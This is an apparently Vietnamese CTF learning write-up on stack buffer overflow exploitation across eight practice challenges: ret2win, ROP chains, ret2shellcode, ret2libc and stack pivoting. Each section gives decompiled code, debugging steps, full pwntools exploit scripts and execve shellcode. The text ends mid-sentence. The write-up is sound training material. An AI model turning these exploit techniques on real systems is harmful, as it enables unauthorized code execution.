# Buffer Overflow ## Bof 1 ### Phân tích * Load file vào **IDA**: ![image](https://hackmd.io/_uploads/BkECBrykxl.png) * `v5,v6,v7` khởi tạo bằng $0$ và đều **8 bytes**, nhập `buf` , xóa các kí tự xuống dòng, sau đó in ra `v7,v6,v5` . Nếu `v7,v6,v5` đều khác $0$ thì có **shell**. ### Ý tưởng * Ở đây , `buf` được khai báo **16 bytes**, nhưng `buf` được đọc tận **48 bytes**. Vậy tức là nếu nhập quá **16 bytes** thì từ **bytes thứ 17** trở đi sẽ ghi đè xuống `v5,v6,v7`. * Vậy để thay đổi giá trị `v5,v6,v7` khác `0` để **get shell**, ta cần ghi đè giá trị `buf` **16 + 8 + 8 + 8 = 40 bytes < 48 bytes**. ### Exploit ![image](https://hackmd.io/_uploads/rJR1KS1Jlg.png) ## Bof 2 ### Phân tích * Load file vào **IDA**: ![image](https://hackmd.io/_uploads/SkLJ9rJkge.png) * Cũng như `bof 1`, tuy nhiên lần này `v5,v6,v7` có giá trị cụ thể. ### Ý tưởng * Vẫn là dựa vào **buffer overflow** khi nhập `buf`, tuy nhiên 3 giá trị `v5,v6,v7` lần này không nhập được từ bàn phím, vậy nên phải thực thi qua `pwntools`. ### Exploit ```py from pwn import * p = process('./bof2') v7 = p64(0x13371337) v6 = p64(0xDEADBEEF) v5 = p64(0xCAFEBABE) payload = 16*b'A' + v5 + v6 + v7 p.sendlineafter(b'> ',payload) p.interactive() ``` ![image](https://hackmd.io/_uploads/ryjz6S1Jle.png) * Thử debug bằng **GDB** thì ta thấy : ![Screenshot 2025-04-18 111004](https://hackmd.io/_uploads/HkNxW8J1xl.png) * Khi đến dòng thực thi `system("/bin/sh")` , 3 giá trị `v5,v6,v7` đã được set như phân tích ở trên. Có thể thấy kết quả của chúng ở `[rsp+10h],[rsp+18h],[rsp+20h]`, cũng đã được khai báo trên console của **IDA** ## Bof 3: Ret2Win * `win` ở đây thường là 1 hàm có tác dụng **đọc flag** hoặc **lấy shell**, gần như không được gọi đến trong logic thực thi luồng chương trình. * Như ta đã biết, `rip` lưu trữ địa chỉ của lệnh `asm` tiếp theo thực thi. Vậy sau khi thực hiện `call` tới 1 hàm con,`rip` lúc này sẽ được đẩy vào **Stack**, trở thành giá trị `[rsp]`. Hay nói cách khác `[rsp]` mới chính là `rip`. --> đây là cơ chế **save_RIP**. * Và đương nhiên, khi `call` xong, hay nói cách khác là hàm con đó thực thi xong, thì `[rsp]` pop ngược lại vào `rip` để nhảy tới lệnh `asm` tiếp theo. * Vậy cách làm của những bài dạng này sẽ là tìm offset tới `save_rip`, sau đó ghi đè địa chỉ hàm `win` lên `save_rip`, lúc đó thì luồng chương trình sẽ nhảy tới hàm `win` chứ không còn như logic thực thi hàm như ban đầu nữa. * Leak địa chỉ hàm `win`: **exe.sym['win']** nếu **PIE** tắt hoặc xác định được `exe base`, còn không thì cứ `p &win` trong **GDB**. :::warning * Đối với hệ thống `x86-64`, `rsp` phải luôn chia hết cho 16 (aligned to 16 bytes) * Khi `pop [rsp]` , giá trị `rsp -= 8` và không chia hết cho 16 nữa. Tuy nhiên khi `call` để thực thi hàm con, nó sẽ expect `rsp += 8` để chia hết cho 16, cụ thể là sử dụng các câu lệnh `movaps, movdqa, call printf ... ` để tránh lỗi `SIGSEGV: Invalid memory alignment` * Vậy khi thay `rip = $win` --> không đi qua lệnh `call` --> `stack alignment` sai --> `crash`. Thường sẽ là thanh ghi `xmm0,xmm1` ::: :::info Vậy việc cần làm là thêm địa chỉ `ret` tăng 8 bytes, hay là `rsp += 8` , điều này sẽ căn chỉnh lại `rsp` về đúng chuẩn 16-byte, sau đó mới vào `win`. ::: ### Phân tích * Load file vào **IDA**: ```py int __cdecl main(int argc, const char **argv, const char **envp) { char buf[28]; // [rsp+0h] [rbp-20h] BYREF int v5; // [rsp+1Ch] [rbp-4h] v5 = 0; init(argc, argv, envp); printf("> "); v5 = read(0, buf, 48uLL); if ( buf[v5 - 1] == '\n' ) buf[v5 - 1] = 0; return 0; } ``` * Ở đây tồn tại 1 hàm `win`: ```py int win() { return system("/bin/sh"); } ``` ### Ý tưởng * Như phân tích ở trên, leak địa chỉ hàm `win` --> tính offset tới `save_rip` --> sau đó ghi đè `p &win` vào `save_rip`. * Thực hiện `checksec`: ![image](https://hackmd.io/_uploads/HJx99qxyle.png) * **PIE** tắt -> có thể leak được địa chỉ hàm `win` bằng cả 2 cách. ### Exploit * Đặt breakpoint tại hàm `read()`: ![Screenshot 2025-04-19 110810](https://hackmd.io/_uploads/rJuJfolyel.png) * Sau đó `r` để nhảy tới breakpoint, hay chính là hàm `win` để nhập, tiếp theo tạo 1 `pattern` **48 bytes**(chính là **size của v5**): ![Screenshot 2025-04-19 111104](https://hackmd.io/_uploads/H1VpzieJxl.png) * `ni` tới lệnh `ret`, có thể thấy lúc này `0x00007fffffffdae8` chính là `[rsp]` hay là `save_rip`, sau đó tìm **offset** tới nó: ![Screenshot 2025-04-19 111408](https://hackmd.io/_uploads/B1hwmjxJgx.png) * **Script**: ```py from pwn import * p = process("./bof3") exe = ELF("./bof3") payload = b'A'*40 + p64(exe.sym['win'] + 8) p.sendafter(b'>',payload) p.interactive() ``` ![image](https://hackmd.io/_uploads/HkxDEjeJee.png) ## Bof 4: ROPchain * Kỹ thuật này mục đích là tìm những đoạn code nhỏ trong `binary/ libc` ( gọi là `gadget`) rồi kết hợp chúng lại thành 1 chuỗi lệnh để điều khiển, thực thi chương trình. Mục tiêu chính là thay đổi giá trị các thanh ghi, thực hiện theo ý muốn (ví dụ gọi `execve("/bin/sh", ...)`) mà không cần chèn **shellcode** trực tiếp. * Có nhiều công cụ hỗ trợ cho kỹ thuật này, điển hình là **ROPgadget**. Ví dụ: :::info `$ ROPgadget --binary <file> | grep "pop rax"` ::: * Thông thường, đối với những bài đơn giản chỉ cần **ROP** để **execve shell**, 4 thanh ghi ta phải kiểm soát đó là `rax,rdi,rsi,rdx` | Thanh ghi | Vai trò | Giá trị cần set | |---------------------|--------------------------------|-----------------------------| | `$rax` | [Số hiệu syscall](https://x86.syscall.sh/) (`execve`) | `0x3b` | | `$rdi` | Đối số thứ nhất: `filename` | Địa chỉ chuỗi `"/bin/sh"` | | `$rsi` | Đối số thứ hai: `argv` | `0x0` (NULL) | | `$rdx` | Đối số thứ ba: `envp` | `0x0` (NULL) | thì lúc này câu lệnh tương ứng sẽ là `execve("/bin/sh",0,0)` ### Phân tích * Load file vào **IDA**: ```py int __cdecl main(int argc, const char **argv, const char **envp) { int v3; // edx int v4; // ecx int v5; // r8d int v6; // r9d char v8[80]; // [rsp+0h] [rbp-50h] BYREF init(argc, argv, envp); printf((unsigned int)"Say something: ", (_DWORD)argv, v3, v4, v5, v6, v8[0]); gets(v8); return 0; } ``` ### Ý tưởng * Dùng `ROPgadget` để tìm địa chỉ các câu lệnh `pop rax,rdi,rsi,rdx`. **ROP** lại để tạo câu lệnh `execve("/bin/sh",0,0)` ### Exploit * Đầu tiên, ta thử **overwrite** để xem **offset** tới `save_rip` là bao nhiêu * Tạo 1 `pattern` tầm $0x200$ bytes, `ni` tới `ret` để xem nó **overwrite** tới `save_rip` chưa và lấy **offset**: ![Screenshot 2025-04-19 152408](https://hackmd.io/_uploads/Bym06ClJgg.png) * Ta thấy **offset** tới `save_rip` là 88, vậy cần nhập trước 88 bytes. ( Thực ra cũng không cần làm cầu kì như này vì `v8` là 80 bytes + `save_rip` là 8 bytes thì offset tới là 88 bytes) * Tiếp theo, dùng `ROPgadget` để tìm địa chỉ các câu lệnh `pop rax,rdi,rsi,rdx`: ![Screenshot 2025-04-19 143923](https://hackmd.io/_uploads/BJxaXClJge.png) :::info Lý do vì sao chọn các địa chỉ này: Ưu tiên địa chỉ câu lệnh mà có `pop thanh ghi đó` đứng ngay đầu tiên. ::: * Tương tự với `syscall`: ![Screenshot 2025-04-19 144736](https://hackmd.io/_uploads/ByB8HAg1ex.png) * Nếu như chuỗi ``'/bin/sh'`` có trong chương trình thì chỉ cần `search-pattern '/bin/sh'` là được, còn nếu không có thì bắt buộc phải tạo ra chuỗi đó, và việc cần làm tiếp theo là tìm ra 1 vùng nhớ/ địa chỉ nào đó để ghi chuỗi này. * Địa chỉ mà chúng ta cần ghi vào, đương nhiên nó phải **tĩnh** và **còn trống**, có quyền **write** ![Screenshot 2025-04-19 145657](https://hackmd.io/_uploads/SJCDwAxkgg.png) * Ta `x/50xg 0x0000000000406000` (In ra $50$ ô nhớ $8$ byte liên tiếp từ địa chỉ `0x0000000000406000` dưới dạng **hex**) và `Enter` liên tục đến khi thấy được vùng trống: ![image](https://hackmd.io/_uploads/r1W-OCxyeg.png) * **Script**: ```py from pwn import * p = process("./bof4") exe = ELF("./bof4") pop_rax = 0x0000000000401001 pop_rdi = 0x000000000040220e pop_rsi = 0x00000000004015ae pop_rdx = 0x00000000004043e4 syscall = 0x000000000040132e rw_section = 0x406e00 payload = b'A'*88 payload += p64(pop_rdi) + p64(rw_section) payload += p64(exe.sym['gets']) ### Thực thi execve("/bin/sh",0,0) ### payload += p64(pop_rdi) + p64(rw_section) payload += p64(pop_rsi) + p64(0) payload += p64(pop_rdx) + p64(0) payload += b'B'*0x28 payload += p64(pop_rax) + p64(0x3B) payload += p64(syscall) p.sendlineafter(b'something: ',payload) p.sendline(b'/bin/sh') p.interactive() ``` * Khi thấy giá trị của 4 thanh ghi được set như này thì là đúng rồi. ![Screenshot 2025-04-19 155621](https://hackmd.io/_uploads/ryk5Bk-kee.png) ![image](https://hackmd.io/_uploads/SkxlU1bkge.png) :::info Tại sao lại có đoạn `payload += b'B'*0x28`? ![Screenshot 2025-04-19 161601](https://hackmd.io/_uploads/r1675JWyxg.png) Theo như mình hiểu thì như sau: * Đối với code kia của chúng ta, thực hiện tổng cộng 5 lần `pop`, mỗi lần `pop` sẽ lấy ra 8 bytes từ `Stack`, vậy tổng là $5*8=40=0x28$ bytes, vậy việc chương trình xuất hiện lệnh `add rsp, 0x28` chính là cơ chế đảm bảo `stack alignment`, không bị thiếu hụt hay lỗi --> crash chương trình. Vậy việc pad thêm $0x28$ bytes của chúng ta giúp cho cân bằng stack, từ đó `pop_rax` tiếp theo được thực hiện đúng và $0x3B$ sẽ set vào đúng thanh ghi `rax`. ::: ## Bof 5: Ret2Shellcode không leak * Trước khi tìm hiểu kỹ thuật tiếp theo thì có lẽ chúng ta cần phải tìm câu trả lời cho những câu hỏi về **Shell code.** :::info * :question: Khi chúng ta code 1 chương trình bằng ngôn ngữ **C**, máy tính có hiểu không? * --> Không. Máy tính chỉ hiểu mã nhị phân. Mà mã nhị phân thì con người chúng ta lại không hiểu được. Ở đây, chương trình **C** được biên dịch sang Assembly rồi sang mã nhị phân. ( **C** --> Assembly --> mã nhị phân). ::: * Tuy nhiên mã nhị phân con người lại không hiểu được. Vậy phải có ngôn ngữ hay 1 cái gì đó mà khiến cho cả con người và máy tính hiểu. Từ đó các nhà phát triển đã có 1 cách biểu diễn khác những lệnh assembly thành hệ thập lục phân ( hex ) - cả con người và máy tính đều hiểu. * Đoạn hex này tương đương với mã nhị phân mà máy tính hiểu --> **Shell code** :::info * :question: Vậy **shell code** là gì? * --> Hiểu 1 cách đơn giản thì **shell code** là 1 đoạn mã assembly ngắn thực hiện 1 điều gì đó, thường sẽ **đọc, ghi file hoặc tạo shell**. ::: * Ví dụ về **shell code** ở dưới đây: ```py section .text global _start _start: mov rax, 0x3B mov rdi, 29400045130965551 push rdi mov rdi, rsp xor rsi, rsi xor rdx, rdx syscall ``` * Đây chính là 1 đoạn **shell code** thực thi `system call` **execve("/bin/sh", NULL, NULL)** rất quen thuộc trên **bof4-ROPchain** :::info 29400045130965551 chính là mã hex tương đương chuỗi "/bin/sh\0" ![image](https://hackmd.io/_uploads/By85otGkeg.png) ::: * Tác dụng của đoạn **shell code** này thì có lẽ mình không cần giải thích thêm nữa. * Để lấy **shell code** này chỉ cần sử dụng lệnh: `objdump -d <tên file>` ![image](https://hackmd.io/_uploads/B1manYz1lx.png) * Có thể sử dụng 2 trang web này để tự động viết **shell code** : [Defuse](https://defuse.ca/online-x86-assembler.htm) hoặc [shellcode_gen](https://masterccc.github.io/tools/shellcode_gen/). :::info * :question: `Shell code` tại sao chỉ có `section .text` mà không có `section .data` để lưu dữ liệu? --> Vì: * Trong `shellcode` thường sử dụng dữ liệu kiểu chuỗi. * `section .data` chứa dữ liệu **tĩnh**, cần được tham chiếu qua **địa chỉ tuyệt đối (absolute addressing)**. Nếu inject có thể gây **crash**. * Trong khi đó, `section .text` là nơi chứa mã thực thi (code), nên có thể: * Đẩy dữ liệu trực tiếp lên **stack**. * Tham chiếu bằng địa chỉ tương đối. ::: --> Thay vì khai báo biến thì ta chỉ cần đẩy dữ liệu vào **stack**, lợi dụng thanh ghi **RSP**. :::warning * Một số lưu ý thêm nữa đó là: * Hàm `gets(buf)` dừng khi gặp dấu xuống dòng 🡪 `shellcode` không nên chứa **0x0A hay '\n'** * Hàm `strcpy(buf, src)` sẽ dừng khi gặp ký tự kết thúc chuỗi trong src 🡪 `shellcode` không nên chứa **0x00 (NULL)** * Ta muốn đưa `shellcode` vào `buffer` 🡪 kích thước `shellcode` càng nhỏ càng tốt. ::: :::info Do kỹ thuật này thao tác với **stack** nên sẽ dùng khi **`NX` tắt (stack thực thi được)** ::: ----> Đó là 1 chút tìm hiểu của mình về **shell code**. Bây giờ chúng ta đến với chall. ### Phân tích * **Checksec**: ![image](https://hackmd.io/_uploads/HkT66W7Jxe.png) --> **NX tắt** * Load file vào **IDA**: * Hàm `main`: ```py int __cdecl main(int argc, const char **argv, const char **envp) { char v4[80]; // [rsp+0h] [rbp-50h] BYREF init(argc, argv, envp); run(v4); return 0; } ``` * * Hàm `run`: ```py void *__fastcall run(void *v4) { char v2[524]; // [rsp+10h] [rbp-210h] BYREF int v3; // [rsp+21Ch] [rbp-4h] v3 = 0; puts("What's your name?"); printf("> "); read(0, v4, 80uLL); puts("What do you want for christmas?"); printf("> "); read(0, v2, 544uLL); // buffer overflow return v4; } ``` * Phân tích qua chút thì v4 ở đây không vấn đề gì, nhưng v2 thì gây lỗi buffer overflow. * Đầu tiên ta cứ nhập đủ bytes của 2 hàm `read` để xem: ![Screenshot 2025-04-21 080229](https://hackmd.io/_uploads/By0StfQJll.png) * Khi nhập `v4` là chuỗi `giang`, `v2` là pattern 544 bytes, thì có thể thấy: * Tới lệnh `ret` của hàm `run()`, `rax` lúc này trỏ tới địa chỉ chuỗi `v4`, còn `rsp` hay `save_rip` trỏ tới địa chỉ chuỗi `raaaaaacgiang`. Nói cách khác thì ở đây ta overwrite được 8 bytes của `save_rip`. :::info * Vậy sau lệnh `ret` của hàm `run()` đó **( đặc biệt hơn ở đây là return v4)**, chúng ta đều biết chương trình sẽ lấy địa chỉ đỉnh **stack**, hay là `rsp` để nhảy tới. Vậy từ đó dẫn tới điều gì để chúng ta có thể khai thác? * Sau lệnh `ret` của hàm `run()`, chương trình sẽ nhảy tới địa chỉ nằm tại `rsp`, tức là `saved_rip`. Do đó, khi chúng ta kiểm soát được nội dung ghi vào **stack** (thông qua overflow từ `v2`), thì có thể ghi đè `saved_rip` để chuyển hướng chương trình. Đồng thời, vì hàm `run()` thực hiện `return v4` mà thấy ở trên thì `rax` = `&v4`. * Vậy ta chỉ cần cho `v4` chứa `shellcode`, rồi overwrite sao cho `saved_rip` = `&call rax`, thì chương trình sẽ thực hiện `call rax` → nhảy vào `shellcode` ở `v4` và thực thi. ::: ### Ý tưởng * Tạo **shell code** và nhập vào `v4`, nhập `v2` 544 bytes sao cho 8 bytes cuối là `&call_rax`. Cái này thì dùng `ROPgadget` như trên `bof4-ROPchain` nhe. ### Exploit ```py from pwn import * p = process("./bof5") exe = ELF("./bof5") shellcode = asm( ''' mov rax, 0x3B mov rdi, 29400045130965551 push rdi mov rdi, rsp xor rsi, rsi xor rdx, rdx syscall ''',arch = 'amd64' ) call_rax = 0x0000000000401014 p.sendafter(b'> ',shellcode) p.sendafter(b'> ',b'A'*536 + p64(call_rax)) p.interactive() ``` ![image](https://hackmd.io/_uploads/r1sxx7Q1gx.png) ## Bof 6: Ret2shellcode cần leak * Sự khác biệt ở `bof 5` và `bof 6` là ta xác định xem có cần hay không cần leak **stack** - hay là `rsp/save_rip`. * 1 chú ý nhỏ là `bof 5` thì do hàm `run()` nó `ret v4`, nên chỉ cần vào debug là kiểm soát được **stack**. Còn đối với `bof 6` dưới đây thì không xảy ra điều này. ### Phân tích * Load file vào **IDA**: * Hàm `main()`: ```py int __cdecl main(int argc, const char **argv, const char **envp) { int v4; // [rsp+8h] [rbp-8h] BYREF int v5; // [rsp+Ch] [rbp-4h] v5 = 0; init(argc, argv, envp); while ( !v5 ) { puts("Welcome to christmas gifting system"); puts("1. Enter your name"); puts("2. Send a wish"); puts("3. Exit"); printf("> "); __isoc99_scanf("%d", &v4); if ( v4 == 1 ) { get_name(); } else if ( v4 == 2 ) { get_wish(); } else { v5 = 1; } } return 0; } ``` * * Hàm `get_name()`: ```py int get_name() { char buf[80]; // [rsp+0h] [rbp-50h] BYREF puts("What's your name?"); printf("> "); read(0, buf, 80uLL); printf("Hello %sI have a message from santa:\n", buf); puts("----------------------------------------------------------"); puts( "| Due to your good behavior, I will give you a wish. |\n" "| You can wish for anything you want and I will give you |\n" "| that as a gift for being a good boy! |"); return puts("----------------------------------------------------------"); } ``` * * Hàm `get_wish()`: ```py ssize_t get_wish() { char buf[512]; // [rsp+0h] [rbp-200h] BYREF puts("What do you want for christmas?"); printf("> "); return read(0, buf, 544uLL); // buffer overflow } ``` * Ở đây còn 1 chú ý nhỏ nữa, là `option 1` - (hàm `get_name()`) sử dụng hàm `read()` để đọc `buf` được nhập vào. :::info * Hàm `read()` khi ta nhập input, sẽ không tự động thêm **byte NULL ( 0x00 )** như hàm `fgets()` vào cuối chuỗi, và nó sẽ **leak** ra cả chuỗi tiếp theo nó. ::: * Ở đây mình thử luôn: ![Screenshot 2025-04-21 143829](https://hackmd.io/_uploads/rJWQId7Jgx.png) * Có thể thấy mình nhập chuỗi `giangnd`, tiếp theo là `Enter` thì là `0xa` hay là `\n`, đó là 8 bytes đầu của `rsp`, tuy nhiên thì khi `x/s` thì nó in cả 8 bytes tiếp theo ( giá trị ở dấu --> ) :::warning Nhưng có thể thấy sau chuỗi `giangnd\n` thì ta đếm chỉ có `6 bytes` chứ không phải `8 bytes` theo như phân tích. --> Bởi vì 2 byte kia là `0x0000` mà :smile: Điều này quan trọng bởi vì nếu không để ý mà code exploit đặt `leak` **stack** là 8 bytes thì sẽ sai ngay, ở đây chỉ 6 bytes mới là địa chỉ **stack** thui nha. ::: ![Screenshot 2025-04-21 145240](https://hackmd.io/_uploads/rJu9t_71le.png) * Thường thì địa chỉ **stack** sẽ không leak ra bằng giá trị ở ô đỏ mình tô kia, mà sẽ leak từ `rbp` sau đó trừ size vào sau. * Ở hàm `get_name()`, `buf` nhận tối đa 0x50 bytes rồi push vào **stack**. --> Vậy dựa vào những gì ta phân tích từ nãy tới giờ thì ta sẽ ghi đủ 0x50 bytes tại hàm `get_name()`, lúc đó sẽ chạm tới và ta sẽ leak được địa chỉ `rbp` (có thể thấy địa chỉ `rsp` ở đúng +0x0050). --> Vậy, `option 1` chúng ta sẽ dùng để `leak` **stack**. * Khi `leak` được **stack** rồi, thì chỉ cần chèn **shell code** và thực thi như `bof5` thôi. Và điều này sẽ làm ở `option 2`. ### Ý tưởng * Chọn `option 1` rồi nhập đủ 0x50 bytes --> `leak` được **stack** --> Dùng `option 2` để chèn **shell code** và thực thi. ### Exploit ```py from pwn import * exe = ELF("./bof6") p = process("./bof6") ################################# ### Leak stack ### ################################# p.sendlineafter(b'>',b'1') p.sendafter(b'>',b'A'*0x50) p.recvuntil(b'A'*0x50) stack_leak = u64(p.recv(6) + b'\0\0') print("Stack leak: ",hex(stack_leak)) ###################################### ### Inject shellcode and get shell ### ###################################### shellcode = asm( ''' mov rax, 0x3B mov rdi, 29400045130965551 push rdi mov rdi, rsp xor rsi, rsi xor rdx, rdx syscall ''',arch = 'amd64' ) payload = shellcode.ljust(0x220 - 24) payload += p64(stack_leak - 0x220) p.sendlineafter(b'>',b'2') p.sendafter(b'>',payload) p.interactive() ``` ![image](https://hackmd.io/_uploads/HJ72UY71ex.png) :::success * Giải thích thêm 1 chút nhe: * Phần `leak` **stack** và inject **shell code** thì không vấn đề gì nữa khi phân tích rất rõ ở trên nhe. * `payload += p64(stack_leak - 0x220)`, như đã nói ở trên, đây là `rbp`, vậy để biết `rsp` hay `save_rip` thì vào debug rồi lấy 2 giá trị đó trừ đi nhau là ra offset. Còn mình nghĩ không cần cầu kì như vậy khi tại `option 2` thì `buf` được `read` 0x220 bytes --> Đó chính là offset cần tìm. * `payload = shellcode.ljust(0x220 - 24)`. Ở đoạn overwrite này sao lại trừ đi 24 bytes? --> 8 bytes cuối là vừa đủ chạm tới `save_rip` để sau lệnh `ret` sẽ nhảy tới địa chỉ chứa **shell code**. Còn 16 bytes ngay trước 8 bytes cuối đó chính là phần pad theo cơ chế **Stack alignment** giúp cân bằng stack khi thực hiện `pop` và `push`--> để không gây crash chương trình. ::: ## Bof 7: Ret2libc * Trước tiên chúng ta cần tìm hiểu 1 vài khái niệm liên quan trước. :::info :question: `Libc` là gì? --> `Libc` (short for **C** standard library) là thư viện tiêu chuẩn của ngôn ngữ lập trình **C**. Nó chứa rất nhiều hàm cơ bản như: `printf, scanf, fgets, malloc, free, ...` Đặc biệt có các hàm hệ thống như `system, exit, read, write, ...` Trong hệ thống Linux, một trong những phiên bản phổ biến của `libc` là `glibc`. Thư viện này nằm trong mỗi chương trình **C** khi biên dịch, và thường được ánh xạ vào bộ nhớ ở một địa chỉ cụ thể khi chương trình chạy. ::: * Tiếp theo là 2 khái niệm khá quan trọng đối với những bài liên quan tới `libc` là [**GOT** và **PLT**](https://ir0nstone.gitbook.io/notes/binexp/stack/aslr/plt_and_got) :::info `PLT` và `GOT` là hai thành phần trong tệp `ELF` giúp xử lý **liên kết động** – một cơ chế phổ biến trong CTF để **giảm kích thước** file nhị phân. Thay vì nhúng toàn bộ mã (như hàm `puts`) vào tệp, chương trình sẽ **liên kết động** đến các hàm trong thư viện hệ thống (như libc). Cách này không chỉ tiết kiệm dung lượng mà còn cho phép cập nhật thư viện mà không cần biên dịch lại chương trình. :question: `GOT` là gì? --> `Global offset table`: Bảng lưu trữ **địa chỉ thực** của các hàm từ `libc` :question: `PLT` là gì? --> `Procedure Linkage Table`: Mã trung gian để gọi các hàm được chứa trong `GOT` ![image](https://hackmd.io/_uploads/Byyr8hu1xx.png) * Ta thấy địa chỉ `0x403fd8` là của hàm `puts` trong `GOT` và nó chứa địa chỉ `0x00007ffff7dfde50`. * Còn `PLT` sẽ thực thi hàm chứa trong địa chỉ `0x00007ffff7dfde50`. * 1 ví dụ về quá trình này. Khi gọi hàm `read()` thì những việc sau đây xảy ra : * Nhảy vào `.plt` của `read()` * `jmp` vào một địa chỉ trong `.got.plt`. * Nếu địa chỉ này **chưa resolve** thì nó sẽ trỏ ngược lại vào địa chỉ tiếp theo cần thực hiện trong `.plt`. Nếu **resolve** rồi thì thực hiện nó * Nếu chưa **resolve** thì bước này là bước đi **resolve** ![image](https://hackmd.io/_uploads/BJaiu1Y1gx.png) * Để hiểu cơ chế này thì mọi người có thể đọc kỹ thuật **ret2dlresolve** nha. ::: * Cuối cùng có lẽ là khái niệm về [ASLR](https://ctf101.org/binary-exploitation/address-space-layout-randomization/). :::info :question: `ASLR` là gì? **Address Space Layout Randomization**: là việc ngẫu nhiên hóa vị trí trong bộ nhớ nơi `chương trình`, `thư viện`, `stack`, `heap`,... . Đối với các bài trong CTF thì ta có thể thấy khi **PIE bật**. Điều này có thể khiến kẻ tấn công khó khai thác hơn, vì vị trí `stack`, `heap` hoặc `libc` không thể được sử dụng lại giữa các lần chạy chương trình. Đây là một cách hiệu quả một phần để ngăn chặn kẻ tấn công nhảy đến `libc` mà không bị rò rỉ. ::: 💡 1 chút kiến thức nho nhỏ nữa là khi **Full RELRO**: bảng **GOT** được bảo vệ chỉ có thể `read_only` --> không thể overwrite **GOT**. * Có lẽ như vậy là đủ rồi. Đến với bài lần này nào. ### Phân tích * Load file vào **IDA**: ```python int __cdecl main(int argc, const char **argv, const char **envp) { char buf[80]; // [rsp+0h] [rbp-50h] BYREF init(argc, argv, envp); puts("Say something: "); read(0, buf, 120uLL); // buffer overflow return 0; } ``` * Hàm `puts` nhận một tham số duy nhất là địa chỉ của chuỗi cần in (kiểu const char *) và địa chỉ đó lưu tại `rdi`. * Lợi dụng điều đó, có thể thực hiện overwrite đến `save_rip`, đưa địa chỉ `puts@GOT` vào thanh ghi `rdi` và in ra **libc base**, từ đó xác định phiên bản libc và gọi hàm thực thi để lấy shell. Ở đây là gọi `system("/bin/sh")` :::success Lý do tại sao phải xác định phiên bản libc thích hợp, hay nói đúng hơn là leak **libc base**. Đó là vì theo mình tìm hiểu, nếu chạy local mà file không patch thì mặc định là dùng `libc.so.6`. Nhưng khi chạy trên server thì có thể dùng libc khác --> không exploit được. * Ví dụ ở đây có thể thấy rõ khi chạy local và chạy trên server thì 2 giá trị khác nhau: ![image](https://hackmd.io/_uploads/rkT4FCd1xl.png) * Ở đây có 1 trang web là https://libc.rip/ tiện lợi cho việc tìm phiên bản libc tương ứng. ![image](https://hackmd.io/_uploads/B1U5FC_1lg.png) * Tìm được `libc` rồi thì patch vào file thôi * ![image](https://hackmd.io/_uploads/B1sXJJKklg.png) * Nếu chưa setup hay config thì chưa `pwninit` được đâu. Làm theo [blog này](https://hackmd.io/@blackpwner/HygJmhhIkx#Pwninit) nha. ::: ### Ý tưởng * Leak địa chỉ hàm `puts` trong `libc` --> tính địa chỉ base của `libc` --> Gọi `system("/bin/sh")` từ `libc` để lấy `shell`. ### Exploit ```py from pwn import * exe = ELF('./bof7_patched', checksec=False) libc = ELF('./libc6-amd64_2.31-0ubuntu9.1_i386.so', checksec=False) # p = process(exe.path) p = remote('127.0.0.1', 9993) ###################################### ### Leak libc ### ###################################### pop_rdi = 0x0000000000401263 payload = b'A'*88 payload += p64(pop_rdi) + p64(exe.got['puts']) payload += p64(exe.plt['puts']) payload += p64(exe.sym['main']) p.sendafter(b'something: \n', payload) libc_leak = u64(p.recv(6) + b'\0\0') libc.address = libc_leak - libc.sym['puts'] print("Libc leak: " + hex(libc_leak)) print("Libc base: " + hex(libc.address)) ###################################### ### get shell ### ###################################### payload = b'A'*88 payload += p64(pop_rdi) + p64(next(libc.search(b'/bin/sh\x00'))) payload += p64(libc.sym['system']) p.sendafter(b'something: \n', payload) p.interactive() ``` ![image](https://hackmd.io/_uploads/H1x3yJF1gx.png) ## Bof 8: Stack pivot chuyển hướng luồng thực thi * Kỹ thuật này mục đích là thay đổi `rsp/rbp` để thanh ghi trỏ tới vùng nhớ mà mình mong muốn. * Bài thứ nhất dưới đây là `Stack pivot` chuyển hướng luồng thực thi. Cách làm là overwrite `rbp`. ### Phân tích * Load file vào **IDA**: * `main()`: ```py int __cdecl main(int argc, const char **argv, const char **envp) { char buf[2]; // [rsp+Eh] [rbp-2h] BYREF init(argc, argv, envp); qword_404850 = (__int64)win; puts("Welcome human!"); while ( 1 ) { while ( 1 ) { while ( 1 ) { puts("1. Buy"); puts("2. Sell"); puts("3. Exit"); printf("> "); read(0, buf, 2uLL); if ( buf[0] != '1' ) break; buy(); } if ( buf[0] != '2' ) break; sell(); } if ( buf[0] == '3' ) break; puts("Invalid choice!"); } puts("Thanks for coming!"); return 0; } ``` * `win()`: ```py int win() { return system("/bin/sh"); } ``` * `buy`: ```py __int64 buy() { __int64 result; // rax char buf[28]; // [rsp+0h] [rbp-20h] BYREF int len_buf; // [rsp+1Ch] [rbp-4h] len_buf = 0; puts("1. Apple"); puts("2. Banana"); puts("3. Cambridge IELTS Volumn 4"); printf("> "); len_buf = read(0, buf, 40uLL); // buffer overflow result = (unsigned __int8)buf[len_buf - 1]; if ( (_BYTE)result == '\n' ) { result = len_buf - 1; buf[result] = 0; } return result; } ``` * `sell()`: ```py int sell() { return puts("I have nothing to sell"); } ``` * Từ việc quan sát tất cả các hàm, ta thấy chỉ ở hàm `buy()` xuất hiện **bof** thui. * Ta tiến hành debug thử. Ta thử nhập full `buf` 40 bytes xem có gì xảy ra. * ![Screenshot 2025-04-27 162517](https://hackmd.io/_uploads/SJs5uOoJge.png) * Tại lệnh này, chương trình lấy biến tại `[rbp-0x2]` ra để ghi dữ liệu, và pattern ta nhập overwrite qua `rbp`, khiến cho địa chỉ tại đó không còn là địa chỉ hợp lệ. Có thể thấy tại đây bị lỗi `SIGBUS (lỗi do truy cập địa chỉ bộ nhớ sai cách)` - Ở đây là địa chỉ không tồn tại. * À còn 1 điều nữa, rõ ràng chương trình ở đây có hàm `win()`, vậy `ret2win` luôn không được sao? --> Ta có thể thấy, khi nhập full bytes mà chương trình cho phép để quan sát thì `rsp` không bị `overwrite`, chỉ có `rbp` thôi. Có lẽ đây cũng là 1 dấu hiệu. * Ngoài ra khi tiến hành debug, thì `main()` còn có **leave ; ret** tương ứng với **mov rsp, rbp ; pop rbp**. ### Ý tưởng * Overwrite tới `save_rbp`, sau đó chuyển hướng stack vào vùng nhớ mình mong muốn - (ở đây là địa chỉ hàm win) ![image](https://hackmd.io/_uploads/HJJoUYsJeg.png) ### Exploit ```py from pwn import * exe = ELF("./bof8") p = process("./bof8") p.sendlineafter(b'>', b'1') payload = b'A'*32 payload += p64(0x404848) p.sendafter(b'>',payload) p.sendlineafter(b'>',b'3') p.interactive() ``` ![image](https://hackmd.io/_uploads/Sy_pPKsygx.png) :::info Ở đây có thể thấy địa chỉ `win()` là `0x404850` mà tại sao lại 